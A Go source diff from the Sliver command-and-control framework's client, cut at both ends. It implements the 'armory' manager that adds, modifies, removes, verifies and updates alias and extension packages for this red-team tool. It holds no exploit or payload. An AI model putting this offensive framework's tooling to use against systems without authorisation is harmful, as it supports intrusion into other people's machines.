||||
Authorization: auth,
|
||||
AuthorizationCmd: authCmd,
|
||||
Name: name,
|
||||
Enabled: true,
|
||||
}
|
||||
|
||||
// verifyArmory will add the armory index to the cache on success, so we do not have to force a refresh
|
||||
err := verifyArmory(&armoryConfig, clientConfig)
|
||||
if err != nil {
|
||||
con.PrintErrorf("could not add armory: %s\n", err)
|
||||
return
|
||||
}
|
||||
currentArmories.Store(armoryConfig.PublicKey, armoryConfig)
|
||||
if !noSave {
|
||||
configs := getCurrentArmoryConfiguration()
|
||||
err = assets.SaveArmoriesConfig(configs)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not save armory configuration: %s\n", err)
|
||||
} else {
|
||||
con.PrintSuccessf("Armory configuration saved\n")
|
||||
}
|
||||
}
|
||||
con.PrintSuccessf("Added armory %s\n", name)
|
||||
}
|
||||
|
||||
// Get a list of package IDs for an armory by its public key
|
||||
func getPackageIDsForArmory(armoryPublicKey string) []string {
|
||||
packageIDs := []string{}
|
||||
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
pkgEntry := value.(pkgCacheEntry)
|
||||
if pkgEntry.ArmoryConfig.PublicKey == armoryPublicKey {
|
||||
packageIDs = append(packageIDs, pkgEntry.ID)
|
||||
}
|
||||
return true
|
||||
})
|
||||
|
||||
return packageIDs
|
||||
}
|
||||
|
||||
func RemoveArmoryCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
name := args[0]
|
||||
|
||||
if name == "" {
|
||||
con.PrintErrorf("an armory name is required\n")
|
||||
return
|
||||
}
|
||||
|
||||
armories := getCurrentArmoryConfiguration()
|
||||
deleted := false
|
||||
newConfiguration := []*assets.ArmoryConfig{}
|
||||
for _, armory := range armories {
|
||||
if armory.Name != name {
|
||||
newConfiguration = append(newConfiguration, armory)
|
||||
} else {
|
||||
currentArmories.Delete(armory.PublicKey)
|
||||
indexCache.Delete(armory.PublicKey)
|
||||
/*
|
||||
To delete from the package cache, we will have
|
||||
to gather a list of package IDs for the
|
||||
armory then delete them from the cache.
|
||||
*/
|
||||
armoryPackageIDs := getPackageIDsForArmory(armory.PublicKey)
|
||||
for _, id := range armoryPackageIDs {
|
||||
pkgCache.Delete(id)
|
||||
}
|
||||
deleted = true
|
||||
}
|
||||
}
|
||||
|
||||
if deleted {
|
||||
con.PrintSuccessf("Armory %s successfully deleted, saving configuration...\n", name)
|
||||
if name == assets.DefaultArmoryName {
|
||||
defaultArmoryRemoved = true
|
||||
}
|
||||
} else {
|
||||
con.PrintErrorf("Armory %s is not a configured armory\n", name)
|
||||
return
|
||||
}
|
||||
|
||||
err := assets.SaveArmoriesConfig(newConfiguration)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not save new armory configuration: %s\n", err)
|
||||
} else {
|
||||
con.PrintSuccessf("Saved armory configuration\n")
|
||||
}
|
||||
}
|
||||
|
||||
func SaveArmories(con *console.SliverClient) {
|
||||
configs := getCurrentArmoryConfiguration()
|
||||
err := assets.SaveArmoriesConfig(configs)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not save armory configuration: %s\n", err)
|
||||
} else {
|
||||
con.PrintSuccessf("Successfully saved armory configuration\n")
|
||||
}
|
||||
}
|
||||
|
||||
func getArmoryConfig(name string) (assets.ArmoryConfig, error) {
|
||||
armories := getCurrentArmoryConfiguration()
|
||||
var armoryPublicKey string
|
||||
armoryConfig := assets.ArmoryConfig{}
|
||||
for _, armory := range armories {
|
||||
if armory.Name == name {
|
||||
armoryPublicKey = armory.PublicKey
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if armoryPublicKey == "" {
|
||||
return armoryConfig, fmt.Errorf("could not retrieve armory configuration for armory %s. Try running the armory command to refresh indexes", name)
|
||||
}
|
||||
|
||||
value, ok := currentArmories.Load(armoryPublicKey)
|
||||
if !ok {
|
||||
return armoryConfig, fmt.Errorf("could not retrieve armory configuration for armory %s. Try running the armory command to refresh indexes", name)
|
||||
}
|
||||
armoryConfig = value.(assets.ArmoryConfig)
|
||||
return armoryConfig, nil
|
||||
}
|
||||
|
||||
func ChangeArmoryEnabledState(cmd *cobra.Command, con *console.SliverClient, args []string, enabled bool) {
|
||||
// Get the armory's public key, change its state, then update the cache to remove packages from the armory
|
||||
var name string
|
||||
if len(args) > 0 && args[0] != "" {
|
||||
name = args[0]
|
||||
} else {
|
||||
con.PrintErrorf("an armory name is required")
|
||||
return
|
||||
}
|
||||
|
||||
armoryConfig, err := getArmoryConfig(name)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
armoryPublicKey := armoryConfig.PublicKey
|
||||
armoryConfig.Enabled = enabled
|
||||
currentArmories.Store(armoryPublicKey, armoryConfig)
|
||||
|
||||
if !enabled {
|
||||
// Remove cached info for the armory if it is disabled
|
||||
armoryPackageIDs := getPackageIDsForArmory(armoryPublicKey)
|
||||
for _, id := range armoryPackageIDs {
|
||||
pkgCache.Delete(id)
|
||||
}
|
||||
indexCache.Delete(armoryPublicKey)
|
||||
}
|
||||
// Force a refresh
|
||||
clientConfig := parseArmoryHTTPConfig(cmd)
|
||||
con.PrintInfof("Refreshing armory information...\n")
|
||||
refresh(clientConfig)
|
||||
SaveArmories(con)
|
||||
con.PrintSuccessf("Done\n")
|
||||
}
|
||||
|
||||
func ModifyArmoryCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
// Quick check to make sure we were provided with a name
|
||||
var name string
|
||||
if len(args) > 0 && args[0] != "" {
|
||||
name = args[0]
|
||||
}
|
||||
if name == "" {
|
||||
con.PrintErrorf("an armory name is required\n")
|
||||
return
|
||||
}
|
||||
|
||||
// Get the record for the armory
|
||||
armoryConfig, err := getArmoryConfig(name)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
// Save the old config so we can delete the existing config
|
||||
// and revert if needed
|
||||
previousConfig := assets.ArmoryConfig{
|
||||
PublicKey: armoryConfig.PublicKey,
|
||||
RepoURL: armoryConfig.RepoURL,
|
||||
Authorization: armoryConfig.Authorization,
|
||||
AuthorizationCmd: armoryConfig.AuthorizationCmd,
|
||||
Name: armoryConfig.Name,
|
||||
Enabled: armoryConfig.Enabled,
|
||||
}
|
||||
|
||||
if cmd.Flags().Changed("name") {
|
||||
newName, _ := cmd.Flags().GetString("name")
|
||||
// Make sure the name does not already exist
|
||||
if armoryNameExists(newName) {
|
||||
con.PrintErrorf("armory with name %s already exists\n", name)
|
||||
return
|
||||
}
|
||||
armoryConfig.Name = newName
|
||||
}
|
||||
if cmd.Flags().Changed("pubkey") {
|
||||
newPubKey, _ := cmd.Flags().GetString("pubkey")
|
||||
/*
|
||||
Since public keys are used as the key for the index cache,
|
||||
make sure we have not been given a key that already exists
|
||||
*/
|
||||
if armoryKeyExists(newPubKey) {
|
||||
con.PrintErrorf("armory provided public key already exists\n")
|
||||
return
|
||||
}
|
||||
armoryConfig.PublicKey = newPubKey
|
||||
}
|
||||
if cmd.Flags().Changed("url") {
|
||||
newUrl, _ := cmd.Flags().GetString("url")
|
||||
armoryConfig.RepoURL = newUrl
|
||||
}
|
||||
if cmd.Flags().Changed("auth") {
|
||||
newAuth, _ := cmd.Flags().GetString("auth")
|
||||
armoryConfig.Authorization = newAuth
|
||||
}
|
||||
if cmd.Flags().Changed("authcmd") {
|
||||
newAuthCmd, _ := cmd.Flags().GetString("authcmd")
|
||||
armoryConfig.AuthorizationCmd = newAuthCmd
|
||||
}
|
||||
|
||||
// We will remove the old armory and add a new one with the changed properties to force a refresh
|
||||
currentArmories.Delete(previousConfig.PublicKey)
|
||||
indexCache.Delete(previousConfig.PublicKey)
|
||||
armoryPackageIDs := getPackageIDsForArmory(previousConfig.PublicKey)
|
||||
for _, id := range armoryPackageIDs {
|
||||
pkgCache.Delete(id)
|
||||
}
|
||||
clientConfig := parseArmoryHTTPConfig(cmd)
|
||||
err = verifyArmory(&armoryConfig, clientConfig)
|
||||
if err != nil {
|
||||
con.PrintErrorf("could not modify armory: %s\n", err)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Would you like to revert the properties of the armory back to their previous values?"}
|
||||
survey.AskOne(prompt, &confirm, nil)
|
||||
if !confirm {
|
||||
return
|
||||
} else {
|
||||
err = verifyArmory(&previousConfig, clientConfig)
|
||||
if err != nil {
|
||||
con.PrintErrorf("could not re-add armory %s: %s\n", name, err)
|
||||
return
|
||||
}
|
||||
armoryConfig = previousConfig
|
||||
con.PrintSuccessf("Re-added armory with previous values")
|
||||
}
|
||||
}
|
||||
currentArmories.Store(armoryConfig.PublicKey, armoryConfig)
|
||||
if !cmd.Flags().Changed("no-save") {
|
||||
SaveArmories(con)
|
||||
}
|
||||
// Force a refresh
|
||||
con.PrintInfof("Refreshing armory information...\n")
|
||||
refresh(clientConfig)
|
||||
con.PrintSuccessf("Done\n")
|
||||
}
|
||||
|
||||
func RefreshArmories(cmd *cobra.Command, con *console.SliverClient) {
|
||||
clientConfig := parseArmoryHTTPConfig(cmd)
|
||||
// Since this being called from the refresh command, force the refresh
|
||||
clientConfig.IgnoreCache = true
|
||||
clearAllCaches()
|
||||
armoriesInitialized = false
|
||||
con.PrintInfof("Refreshing armory information...")
|
||||
refresh(clientConfig)
|
||||
con.PrintSuccessf("Refreshed armory information\n")
|
||||
}
|
||||
|
||||
func ResetArmoryConfig(cmd *cobra.Command, con *console.SliverClient) {
|
||||
armoryConfigPath := filepath.Join(assets.GetRootAppDir(), assets.ArmoryConfigFileName)
|
||||
con.PrintInfof("Removing armory configuration file %s...", armoryConfigPath)
|
||||
err := os.Remove(armoryConfigPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not delete armory configuration file %s: %s", armoryConfigPath, err)
|
||||
return
|
||||
}
|
||||
con.PrintSuccessf("Removed armory configuration file %s\n", armoryConfigPath)
|
||||
|
||||
// Force a refresh
|
||||
RefreshArmories(cmd, con)
|
||||
con.PrintSuccessf("Successfully reset armory configuration\n")
|
||||
}
|
||||
@@ -19,6 +19,8 @@ package armory
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/sha256"
|
||||
"crypto/tls"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
@@ -67,6 +69,18 @@ type armoryPkgResponse struct {
|
||||
TarGzURL string `json:"tar_gz_url"` // Raw tar.gz url
|
||||
}
|
||||
|
||||
func calculatePackageHash(pkg *ArmoryPackage) string {
|
||||
if pkg == nil {
|
||||
return ""
|
||||
}
|
||||
|
||||
hasher := sha256.New()
|
||||
// Hash some of the things that make the package unique
|
||||
packageIdentifier := []byte(pkg.RepoURL + pkg.PublicKey + pkg.ArmoryName + pkg.CommandName)
|
||||
hasher.Write(packageIdentifier)
|
||||
return fmt.Sprintf("%x", hasher.Sum(nil))
|
||||
}
|
||||
|
||||
//
|
||||
// Default Parsers for Self-Hosted Armories
|
||||
//
|
||||
@@ -79,7 +93,10 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
|
||||
return nil, err
|
||||
}
|
||||
|
||||
resp, body, _ := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
|
||||
resp, body, err := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return nil, errors.New("api returned non-200 status code")
|
||||
}
|
||||
@@ -111,9 +128,45 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// Populate armory name and ID information for assets
|
||||
for _, bundle := range armoryIndex.Bundles {
|
||||
bundle.ArmoryName = armoryIndex.ArmoryConfig.Name
|
||||
}
|
||||
for _, alias := range armoryIndex.Aliases {
|
||||
alias.ArmoryName = armoryIndex.ArmoryConfig.Name
|
||||
alias.ArmoryPK = armoryIndex.ArmoryConfig.PublicKey
|
||||
if cached := packageCacheLookupByCmdAndArmory(alias.CommandName, armoryIndex.ArmoryConfig.PublicKey); cached != nil {
|
||||
// A package with this name is in the cache, so we will remove it here so that the latest version is added
|
||||
// when the index is parsed
|
||||
pkgCache.Delete(cached.ID)
|
||||
}
|
||||
alias.ID = calculatePackageHash(alias)
|
||||
}
|
||||
for _, extension := range armoryIndex.Extensions {
|
||||
extension.ArmoryName = armoryIndex.ArmoryConfig.Name
|
||||
extension.ArmoryPK = armoryIndex.ArmoryConfig.PublicKey
|
||||
if cached := packageCacheLookupByCmdAndArmory(extension.CommandName, armoryIndex.ArmoryConfig.PublicKey); cached != nil {
|
||||
// A package with this name is in the cache, so we will remove it here so that the latest version is added
|
||||
// when the index is parsed
|
||||
pkgCache.Delete(cached.ID)
|
||||
}
|
||||
extension.ID = calculatePackageHash(extension)
|
||||
}
|
||||
return armoryIndex, nil
|
||||
}
|
||||
|
||||
func decodePackageSignature(sigString string) ([]byte, error) {
|
||||
// Base64 decode the signature
|
||||
decodedData := make([]byte, base64.StdEncoding.DecodedLen(len(sigString)))
|
||||
_, err := base64.StdEncoding.Decode(decodedData, []byte(sigString))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// If decodedData does not end up being base64.StdEncoding.DecodedLen(len(data)) bytes long, trim the null bytes
|
||||
decodedData = bytes.Trim(decodedData, "\x00")
|
||||
return decodedData, nil
|
||||
}
|
||||
|
||||
// DefaultArmoryPkgParser - Parse the armory package manifest directly from the url
|
||||
func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
|
||||
var publicKey minisign.PublicKey
|
||||
@@ -122,25 +175,29 @@ func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *Armory
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
resp, body, err := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
|
||||
resp, body, err := httpRequest(clientConfig, armoryPkg.RepoURL, armoryConfig, http.Header{})
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return nil, nil, errors.New("api returned non-200 status code")
|
||||
return nil, nil, fmt.Errorf("api returned non-200 status code (%d)", resp.StatusCode)
|
||||
}
|
||||
pkgResp := &armoryPkgResponse{}
|
||||
err = json.Unmarshal(body, pkgResp)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
sig, err := parsePkgMinsig([]byte(pkgResp.Minisig))
|
||||
decodedSig, err := decodePackageSignature(pkgResp.Minisig)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
sig, err := parsePkgMinsig(decodedSig)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
var tarGz []byte
|
||||
if !sigOnly {
|
||||
tarGzURL, err := url.Parse(armoryPkg.RepoURL)
|
||||
tarGzURL, err := url.Parse(pkgResp.TarGzURL)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
@@ -242,6 +299,20 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// Populate armory name and ID information for assets
|
||||
for _, bundle := range armoryIndex.Bundles {
|
||||
bundle.ArmoryName = armoryIndex.ArmoryConfig.Name
|
||||
}
|
||||
for _, alias := range armoryIndex.Aliases {
|
||||
alias.ArmoryName = armoryIndex.ArmoryConfig.Name
|
||||
alias.ArmoryPK = armoryIndex.ArmoryConfig.PublicKey
|
||||
alias.ID = calculatePackageHash(alias)
|
||||
}
|
||||
for _, extension := range armoryIndex.Extensions {
|
||||
extension.ArmoryName = armoryIndex.ArmoryConfig.Name
|
||||
extension.ArmoryPK = armoryIndex.ArmoryConfig.PublicKey
|
||||
extension.ID = calculatePackageHash(extension)
|
||||
}
|
||||
return armoryIndex, nil
|
||||
}
|
||||
|
||||
@@ -436,6 +507,12 @@ func downloadRequest(clientConfig ArmoryHTTPConfig, reqURL string, armoryConfig
|
||||
"Accept": {"application/octet-stream"},
|
||||
}
|
||||
resp, body, err := httpRequest(clientConfig, reqURL, armoryConfig, downloadHdr)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if resp == nil {
|
||||
return nil, fmt.Errorf("invalid response when downloading %s, try again later", reqURL)
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK && resp.StatusCode != http.StatusFound {
|
||||
return nil, fmt.Errorf("error downloading asset: http %d", resp.StatusCode)
|
||||
}
|
||||
|
||||
@@ -47,7 +47,7 @@ func ArmorySearchCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
return
|
||||
}
|
||||
|
||||
aliases, exts := packagesInCache()
|
||||
aliases, exts := packageManifestsInCache()
|
||||
matchedAliases := []*alias.AliasManifest{}
|
||||
for _, a := range aliases {
|
||||
if nameExpr.MatchString(a.CommandName) {
|
||||
|
||||
+296
-36
@@ -19,56 +19,127 @@ package armory
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/alias"
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
)
|
||||
|
||||
type VersionInformation struct {
|
||||
OldVersion string
|
||||
NewVersion string
|
||||
ArmoryName string
|
||||
}
|
||||
|
||||
type PackageType uint
|
||||
|
||||
const (
|
||||
AliasPackage PackageType = iota
|
||||
ExtensionPackage
|
||||
)
|
||||
|
||||
type UpdateIdentifier struct {
|
||||
Type PackageType
|
||||
Name string
|
||||
}
|
||||
|
||||
// ArmoryUpdateCmd - Update all installed extensions/aliases
|
||||
func ArmoryUpdateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
var selectedUpdates []UpdateIdentifier
|
||||
var err error
|
||||
|
||||
con.PrintInfof("Refreshing package cache ... ")
|
||||
clientConfig := parseArmoryHTTPConfig(cmd)
|
||||
refresh(clientConfig)
|
||||
con.Printf(console.Clearln + "\r")
|
||||
|
||||
// Aliases
|
||||
aliasUpdates := checkForAliasUpdates(clientConfig, con)
|
||||
if 0 < len(aliasUpdates) {
|
||||
con.PrintInfof("%d alias(es) out of date: %s\n", len(aliasUpdates), strings.Join(aliasUpdates, ", "))
|
||||
for _, aliasName := range aliasUpdates {
|
||||
err := installAliasPackageByName(aliasName, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to update %s: %s\n", aliasName, err)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
con.PrintInfof("All aliases up to date!\n")
|
||||
armoryName, err := cmd.Flags().GetString("armory")
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not parse %q flag: %s\n", "armory", err)
|
||||
return
|
||||
}
|
||||
|
||||
// Extensions
|
||||
extUpdates := checkForExtensionUpdates(clientConfig, con)
|
||||
if 0 < len(extUpdates) {
|
||||
con.PrintInfof("%d extension(s) out of date: %s\n", len(extUpdates), strings.Join(extUpdates, ", "))
|
||||
for _, extName := range extUpdates {
|
||||
err := installExtensionPackageByName(extName, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to update %s: %s\n", extName, err)
|
||||
}
|
||||
// Find PK for the armory name
|
||||
armoryPK := getArmoryPublicKey(armoryName)
|
||||
|
||||
// If the armory with the name is not found, print a warning
|
||||
if cmd.Flags().Changed("armory") && armoryPK == "" {
|
||||
con.PrintWarnf("Could not find a configured armory named %q - searching all configured armories\n\n", armoryName)
|
||||
}
|
||||
|
||||
// Check packages for updates
|
||||
aliasUpdates := checkForAliasUpdates(armoryPK)
|
||||
extUpdates := checkForExtensionUpdates(armoryPK)
|
||||
|
||||
// Display a table of results
|
||||
if len(aliasUpdates) > 0 || len(extUpdates) > 0 {
|
||||
updateKeys := sortUpdateIdentifiers(aliasUpdates, extUpdates)
|
||||
displayAvailableUpdates(con, updateKeys, aliasUpdates, extUpdates)
|
||||
selectedUpdates, err = getUpdatesFromUser(con, updateKeys)
|
||||
if err != nil {
|
||||
con.PrintErrorf(err.Error() + "\n")
|
||||
return
|
||||
}
|
||||
if len(selectedUpdates) == 0 {
|
||||
return
|
||||
}
|
||||
} else {
|
||||
con.PrintInfof("All extensions up to date!\n")
|
||||
con.PrintSuccessf("All packages are up to date")
|
||||
return
|
||||
}
|
||||
|
||||
for _, update := range selectedUpdates {
|
||||
switch update.Type {
|
||||
case AliasPackage:
|
||||
aliasVersionInfo, ok := aliasUpdates[update.Name]
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
updatedPackage, err := getPackageForCommand(update.Name, armoryPK, aliasVersionInfo.NewVersion)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not get update package for alias %s: %s\n", update.Name, err)
|
||||
// Keep going because other packages might not encounter errors
|
||||
continue
|
||||
}
|
||||
err = installAliasPackage(updatedPackage, false, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to update %s: %s\n", update.Name, err)
|
||||
}
|
||||
case ExtensionPackage:
|
||||
extVersionInfo, ok := extUpdates[update.Name]
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
updatedPackage, err := getPackageForCommand(update.Name, armoryPK, extVersionInfo.NewVersion)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not get update package for extension %s: %s\n", update.Name, err)
|
||||
continue
|
||||
}
|
||||
err = installExtensionPackage(updatedPackage, false, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to update %s: %s\n", update.Name, err)
|
||||
}
|
||||
default:
|
||||
continue
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func checkForAliasUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverClient) []string {
|
||||
cachedAliases, _ := packagesInCache()
|
||||
results := []string{}
|
||||
func checkForAliasUpdates(armoryPK string) map[string]VersionInformation {
|
||||
cachedAliases, _ := packageManifestsInCache()
|
||||
results := make(map[string]VersionInformation)
|
||||
for _, aliasManifestPath := range assets.GetInstalledAliasManifests() {
|
||||
data, err := os.ReadFile(aliasManifestPath)
|
||||
if err != nil {
|
||||
@@ -79,19 +150,31 @@ func checkForAliasUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverClie
|
||||
continue
|
||||
}
|
||||
for _, latestAlias := range cachedAliases {
|
||||
// Right now we don't try to enforce any kind of versioning, it is assumed if the version from
|
||||
// the armory differs at all from the local version, the extension is out of date.
|
||||
if latestAlias.CommandName == localManifest.CommandName && latestAlias.Version != localManifest.Version {
|
||||
results = append(results, localManifest.CommandName)
|
||||
/*
|
||||
We used to check if the version identifiers were different between the installed version and the
|
||||
version in the armory. This worked when we had one armory, but with multiple potential armories,
|
||||
we have to have some type of versioning. We do not have an official versioning scheme for packages,
|
||||
so we will rely on the author of the package incrementing the version identifier somehow to determine
|
||||
if a package is newer.
|
||||
*/
|
||||
if latestAlias.CommandName == localManifest.CommandName && latestAlias.Version > localManifest.Version {
|
||||
if latestAlias.ArmoryPK == armoryPK || armoryPK == "" {
|
||||
results[localManifest.CommandName] = VersionInformation{
|
||||
OldVersion: localManifest.Version,
|
||||
NewVersion: latestAlias.Version,
|
||||
ArmoryName: latestAlias.ArmoryName,
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
func checkForExtensionUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverClient) []string {
|
||||
_, cachedExtensions := packagesInCache()
|
||||
results := []string{}
|
||||
func checkForExtensionUpdates(armoryPK string) map[string]VersionInformation {
|
||||
_, cachedExtensions := packageManifestsInCache()
|
||||
// Return a map of extension name to minimum version to install
|
||||
results := make(map[string]VersionInformation)
|
||||
for _, extManifestPath := range assets.GetInstalledExtensionManifests() {
|
||||
data, err := os.ReadFile(extManifestPath)
|
||||
if err != nil {
|
||||
@@ -102,13 +185,190 @@ func checkForExtensionUpdates(clientConfig ArmoryHTTPConfig, con *console.Sliver
|
||||
continue
|
||||
}
|
||||
for _, latestExt := range cachedExtensions {
|
||||
// Right now we don't try to enforce any kind of versioning, it is assumed if the version from
|
||||
// the armory differs at all from the local version, the extension is out of date.
|
||||
if latestExt.Name == localManifest.Name && latestExt.Version != localManifest.Version {
|
||||
results = append(results, localManifest.Name)
|
||||
/*
|
||||
We used to check if the version identifiers were different between the installed version and the
|
||||
version in the armory. This worked when we had one armory, but with multiple potential armories,
|
||||
we have to have some type of versioning. We do not have an official versioning scheme for packages,
|
||||
so we will rely on the author of the package incrementing the version identifier somehow to determine
|
||||
if a package is newer.
|
||||
*/
|
||||
if latestExt.Name == localManifest.Name && latestExt.Version > localManifest.Version {
|
||||
if latestExt.ArmoryPK == armoryPK || armoryPK == "" {
|
||||
results[localManifest.Name] = VersionInformation{
|
||||
OldVersion: localManifest.Version,
|
||||
NewVersion: latestExt.Version,
|
||||
ArmoryName: latestExt.ArmoryName,
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func sortUpdateIdentifiers(aliasUpdates, extensionUpdates map[string]VersionInformation) []UpdateIdentifier {
|
||||
/*
|
||||
This function helps us keep updates straight when the user chooses from them. Just in case
|
||||
an alias and an extension exist with the same name, we cannot simply combine the two maps.
|
||||
|
||||
We will assume that no two aliases and no two extensions have the same name.
|
||||
*/
|
||||
|
||||
result := []UpdateIdentifier{}
|
||||
|
||||
aliasNames := util.Keys(aliasUpdates)
|
||||
extensionNames := util.Keys(extensionUpdates)
|
||||
for _, name := range aliasNames {
|
||||
result = append(result, UpdateIdentifier{
|
||||
Type: AliasPackage,
|
||||
Name: name,
|
||||
})
|
||||
}
|
||||
for _, name := range extensionNames {
|
||||
result = append(result, UpdateIdentifier{
|
||||
Type: ExtensionPackage,
|
||||
Name: name,
|
||||
})
|
||||
}
|
||||
|
||||
sort.Slice(result, func(i, j int) bool {
|
||||
return result[i].Name < result[j].Name
|
||||
})
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
func displayAvailableUpdates(con *console.SliverClient, updateKeys []UpdateIdentifier, aliasUpdates, extensionUpdates map[string]VersionInformation) {
|
||||
var (
|
||||
aliasSuffix string
|
||||
extensionSuffix string
|
||||
title string = "Available Updates (%d alias%s, %d extension%s)"
|
||||
)
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetAutoIndex(true)
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
if len(aliasUpdates) != 1 {
|
||||
aliasSuffix = "es"
|
||||
}
|
||||
if len(extensionUpdates) != 1 {
|
||||
extensionSuffix = "s"
|
||||
}
|
||||
tw.SetTitle(console.Bold + fmt.Sprintf(title, len(aliasUpdates), aliasSuffix, len(extensionUpdates), extensionSuffix) + console.Normal)
|
||||
tw.AppendHeader(table.Row{
|
||||
"Package Name",
|
||||
"Package Type",
|
||||
"Installed Version",
|
||||
"Available Version",
|
||||
})
|
||||
|
||||
for _, key := range updateKeys {
|
||||
var (
|
||||
packageName string
|
||||
packageType string
|
||||
packageVersion VersionInformation
|
||||
ok bool
|
||||
)
|
||||
switch key.Type {
|
||||
case AliasPackage:
|
||||
packageVersion, ok = aliasUpdates[key.Name]
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
packageName = key.Name
|
||||
packageType = "Alias"
|
||||
case ExtensionPackage:
|
||||
packageVersion, ok = extensionUpdates[key.Name]
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
packageName = key.Name
|
||||
packageType = "Extension"
|
||||
default:
|
||||
continue
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
packageName,
|
||||
packageType,
|
||||
packageVersion.OldVersion,
|
||||
fmt.Sprintf("%s (Armory: %s)", packageVersion.NewVersion, packageVersion.ArmoryName),
|
||||
})
|
||||
}
|
||||
|
||||
con.Printf("%s\n\n", tw.Render())
|
||||
}
|
||||
|
||||
func getUpdatesFromUser(con *console.SliverClient, updateKeys []UpdateIdentifier) (chosenUpdates []UpdateIdentifier, selectionError error) {
|
||||
chosenUpdates = []UpdateIdentifier{}
|
||||
|
||||
var updateResponse string
|
||||
|
||||
con.Println("You can apply all, none, or some updates.\nTo apply some updates, specify the number of a single update, a range (1-3), or a combination of the two (1, 3-5, 7)\n")
|
||||
err := survey.AskOne(&survey.Input{
|
||||
Message: "Which updates would you like to apply? [A]ll, [N]one, or some:",
|
||||
}, &updateResponse)
|
||||
if err != nil {
|
||||
// We do not need to set selectionError because an error here means the same thing as responding with "none"
|
||||
return
|
||||
}
|
||||
|
||||
updateResponse = strings.ToLower(updateResponse)
|
||||
updateResponse = strings.Replace(updateResponse, " ", "", -1)
|
||||
if updateResponse == "n" || updateResponse == "none" {
|
||||
return
|
||||
}
|
||||
|
||||
if updateResponse == "a" || updateResponse == "all" {
|
||||
chosenUpdates = updateKeys
|
||||
return
|
||||
}
|
||||
|
||||
selections := strings.Split(updateResponse, ",")
|
||||
|
||||
for _, selection := range selections {
|
||||
// Handle a range
|
||||
if strings.Contains(selection, "-") {
|
||||
rangeParts := strings.Split(selection, "-")
|
||||
start, err := strconv.Atoi(rangeParts[0])
|
||||
if err != nil {
|
||||
